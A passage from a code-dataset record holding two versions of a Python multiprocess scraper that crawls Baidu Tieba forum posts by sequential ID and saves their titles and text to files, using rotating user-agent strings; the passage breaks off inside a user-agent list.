re.findall('\\S.+', f_content)\n if ff_content:\n return str(ff_content[0])\n else:\n return ''\n except Exception as e:\n print('Content: ', e)\n return ''\n\n\n@retry(stop_max_attempt_number=3)\ndef save_content(path, content):\n\ttry:\n\t\tfw = codecs.open(path, 'w', 'utf-8')\n\t\tfw.write(content)\n\t\tfw.close()\n\texcept Exception as e:\n\t\tprint('Save content: ', e)\n\n\ndef get_whole_page_content(html):\n soup = BeautifulSoup(html, 'lxml')\n try:\n raw_posts_content = soup.findAll('div', {'class': ['d_post_content_main']})\n content = ''\n for post_content in raw_posts_content:\n each_content = get_content(post_content)\n if each_content:\n content = content + '\\n\\n' + each_content\n return content\n except Exception as e:\n print('Whole page content: ', e)\n return \"\"\n\n\ndef remove_html_tag(html):\n # 把html标签删除\n html = html.strip()\n dr = re.compile(r'<[^>]+>', re.S)\n html = dr.sub('', html)\n return html\n\n\nclass Spider(object):\n\n def __init__(self):\n self.seed_url = \"https://tieba.baidu.com/\"\n self.list_url_queue = multiprocessing.Queue(maxsize=0)\n self.post_id_file = './ID.txt'\n self.output_dir = './output5100/'\n self.post_id = int()\n self.user_agent_list = [\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",\n \"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\",\n \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1\",\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5\",\n \"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3\",\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\",\n \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\",\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0 Zune 3.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; Tablet PC 2.0; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3029; Media Center PC 6.0; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',\n 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',\n 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',\n 'Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)',\n 'Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)',\n 'Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',\n 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)',\n 'Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 3.0.04506)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)',\n ]\n\n # 多进程数量\n self.process_num = int(input('进程数量:'))\n # self.process_num = 99\n\n # 一次放多少条帖子链接队列\n self.queue_put_num = 100 * self.process_num\n\n @retry(stop_max_attempt_number=3)\n def get_html(self, url):\n url = url.split()[0]\n req = urllib.request.Request(url, data=None, headers={'User-Agent': random.choice(self.user_agent_list)})\n time.sleep(random.randint(0, 3))\n try:\n website = urllib.request.urlopen(req, data=None, timeout=(5 + random.randint(0, 5)))\n # print('open ok')\n html = website.read().decode('utf-8', 'ignore')\n # print('read ok')\n except Exception as e:\n print(e, ':', url)\n return \"\"\n\n return html\n\n def load_post_id(self):\n fr = open(self.post_id_file, 'r')\n num = fr.read()\n self.post_id = int(num)\n fr.close()\n\n def save_post_id(self, numb):\n fw = codecs.open(self.post_id_file, 'w', 'utf-8')\n fw.write(str(numb))\n fw.close()\n\n def init_post_id(self):\n with m_lock:\n if not os.path.exists(self.output_dir):\n os.mkdir(self.output_dir)\n if not os.path.exists(self.post_id_file):\n fw = codecs.open(self.post_id_file, 'w', 'utf-8')\n fw.write('1')\n fw.close()\n self.load_post_id()\n print('导入 ' + str(self.post_id) + ' 到队列')\n for post_count in range(self.post_id, self.post_id + self.queue_put_num):\n self.list_url_queue.put(post_count)\n self.save_post_id(int(self.post_id + self.queue_put_num))\n\n def crawl_post_list(self):\n while True:\n if self.list_url_queue.empty():\n print('队列空,取链接' + str(self.queue_put_num) + '个.')\n self.init_post_id()\n\n tiezi_id = self.list_url_queue.get()\n post_url = self.seed_url + \"p/\" + str(tiezi_id)\n try:\n post_html = self.get_html(post_url)\n post_title = get_title(post_html)\n if post_title == '很抱歉,该贴已被删除。':\n print(post_url, '帖子不存在')\n continue\n if not post_title:\n print(post_url, '找不到title')\n continue\n else:\n print(post_url, post_title)\n first_page_content = get_whole_page_content(post_html)\n if not first_page_content:\n continue\n all_content = post_url + '\\n' + post_title + first_page_content\n page_num = get_posts_num(post_html)\n for i in range(page_num):\n if i != 0:\n page_url = post_url + '?pn=' + str(i + 1)\n other_page = self.get_html(page_url)\n other_content = get_whole_page_content(other_page)\n all_content = all_content + other_content\n output_file = self.output_dir + str(tiezi_id) + '_' + post_title + '.txt'\n save_content(output_file, all_content)\n \n except Exception as e:\n print(e, post_url)\n continue\n\n def test(self):\n url = 'https://tieba.baidu.com/p/3568'\n # post_id = re.findall('[0-9]+', url)\n first_page = self.get_html(url)\n title = get_title(first_page)\n print(title)\n all_content = title + get_whole_page_content(first_page)\n page_num = get_posts_num(first_page)\n for i in range(page_num):\n if i != 0:\n page_url = url + '?pn=' + str(i + 1)\n print(page_url)\n other_page = self.get_html(page_url)\n other_content = get_whole_page_content(other_page)\n all_content = all_content + other_content\n print(all_content)\n # output_file = './' + str(post_id[0]) + '_' + title + '.txt'\n # fw = open(output_file, 'w')\n # fw.write(all_content)\n # fw.close()\n\n def start(self):\n processes = []\n for i in range(1, self.process_num):\n t = multiprocessing.Process(target=self.crawl_post_list, args=())\n t.start()\n processes.append(t)\n\n for t in processes:\n t.join()\n\nif __name__ == '__main__':\n spider = Spider()\n spider.start()\n # spider.test()\n" }, { "alpha_fraction": 0.4683328866958618, "alphanum_fraction": 0.5664377808570862, "avg_line_length": 53.343284606933594, "blob_id": "1690d9352fb216cc44643e69bde5ddc7a7a638f4", "content_id": "3579da3cdd2f8346d41060a646b08bafdb5da46e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18663, "license_type": "no_license", "max_line_length": 252, "num_lines": 335, "path": "/tieba_spider_1708.py", "repo_name": "Fongim/tieba_spider", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Created by FFJ on 20170822\n#\n# 依赖 lxml 库: pip install lxml\n#\n# 按贴吧帖子 ID 顺序爬取纯文本数据, 每个帖子保存为一个 ID_帖子标题.txt 文件\n# ./ID.txt 存放从哪个 ID 开始爬,不存在则ID默认为 5000000000\n#\n# 输出目录结构\n# --output\n# ----123456\n# ------1234560000_示例标题一.txt\n# ------1234560001_示例标题二.txt\n# ------ ...\n# ----123457\n# ---- ...\n\nimport re\nimport os\nimport time\nimport codecs\nimport multiprocessing\nimport urllib.request\nimport random\nimport logging\nfrom bs4 import BeautifulSoup\n\n# 多进程锁\nm_lock = multiprocessing.Lock()\n\n\ndef get_title(html):\n try:\n soup = BeautifulSoup(html, 'lxml')\n raw_title = soup.find('h1')\n if not raw_title:\n raw_title = soup.find('h3')\n if not raw_title:\n raw_title = re.findall('很抱歉,该贴已被删除。', html)\n if raw_title:\n raw_title = raw_title[0]\n if not raw_title:\n raw_title = re.findall('该吧被合并您所访问的贴子无法显示', html)\n if raw_title:\n raw_title = raw_title[0]\n if not raw_title:\n raw_title = re.findall('抱歉,您访问的贴子被隐藏,暂时无法访问。', html)\n if raw_title:\n raw_title = raw_title[0]\n if not raw_title:\n return ''\n title = remove_html_tag(str(raw_title))\n return title\n except Exception as e:\n logging.warning('Get title: {}'.format(e))\n return ''\n\n\ndef get_posts_num(html):\n try:\n soup = BeautifulSoup(html, 'lxml')\n raw_posts_num = soup.find('ul', {'class': 'l_posts_num'})\n match = re.findall('pn=[0-9]+', str(raw_posts_num))\n if match:\n last_num_url = match.pop()\n last_num = re.findall('[0-9]+', str(last_num_url))\n return int(last_num[0])\n else:\n return 1\n except Exception as e:\n logging.warning('Get posts num: '.format(e))\n return 1\n\n\n# 暂时不需要\ndef get_floor(content):\n c_content = '<html><body>' + str(content) + '</html></body>'\n try:\n soup = BeautifulSoup(c_content, 'lxml')\n raw_floor = soup.findAll('span', {'class': 'tail-info'})\n f_floor = re.findall('[0-9]+楼', str(raw_floor))\n if f_floor:\n floor = remove_html_tag(str(f_floor[0]))\n return str(floor)\n else:\n return ''\n except Exception as e:\n logging.warning('Get floor: {}'.format(e))\n return ''\n\n\ndef get_whole_page_content(html):\n try:\n soup = BeautifulSoup(html, 'lxml')\n raw_posts_content = soup.findAll('div', {'class': ['d_post_content_main']})\n content = ''\n for post_content in raw_posts_content:\n each_content = get_content(post_content)\n if each_content:\n content = content + each_content + '\\n\\n'\n return content\n except Exception as e:\n logging.warning('Get whole page content: {}'.format(e))\n return ''\n\n\ndef get_content(text):\n c_text = '<html><body>' + str(text) + '</html></body>'\n try:\n soup = BeautifulSoup(c_text, 'lxml')\n raw_content = soup.find('div', {'class': 'd_post_content'})\n content = re.findall('\\S.+', remove_html_tag(str(raw_content)))\n if content:\n return str(content[0])\n else:\n return ''\n except Exception as e:\n logging.warning('Get content: {}'.format(e))\n return ''\n\n\ndef save_content(path, content):\n try:\n with codecs.open(path, 'w', 'utf-8') as fw:\n fw.write(content)\n except Exception as e:\n logging.warning('Save content: {}'.format(e))\n\n\ndef remove_html_tag(html):\n html = html.strip()\n dr = re.compile(r'<[^>]+>', re.S)\n html = dr.sub('', html)\n return html\n\n\nclass Spider(object):\n\n def __init__(self):\n self.list_url_queue = multiprocessing.Manager().list()\n self.seed_url = 'https://tieba.baidu.com/'\n self.post_id_file = './ID.txt'\n self.output_dir = './output/'\n self.post_id = int()\n\n # 多进程数量\n self.process_num = 501\n # 一次放多少条帖子链接队列\n self.queue_put_num = 10000\n\n self.user_agent_list = [\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",\n \"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\",\n \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1\",\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5\",\n \"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\",\n \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3\",\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\",\n \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\",\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0 Zune 3.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; Tablet PC 2.0; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3029; Media Center PC 6.0; Tablet PC 2.0)',\n 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)',\n 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',\n 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',\n 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',\n 'Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; 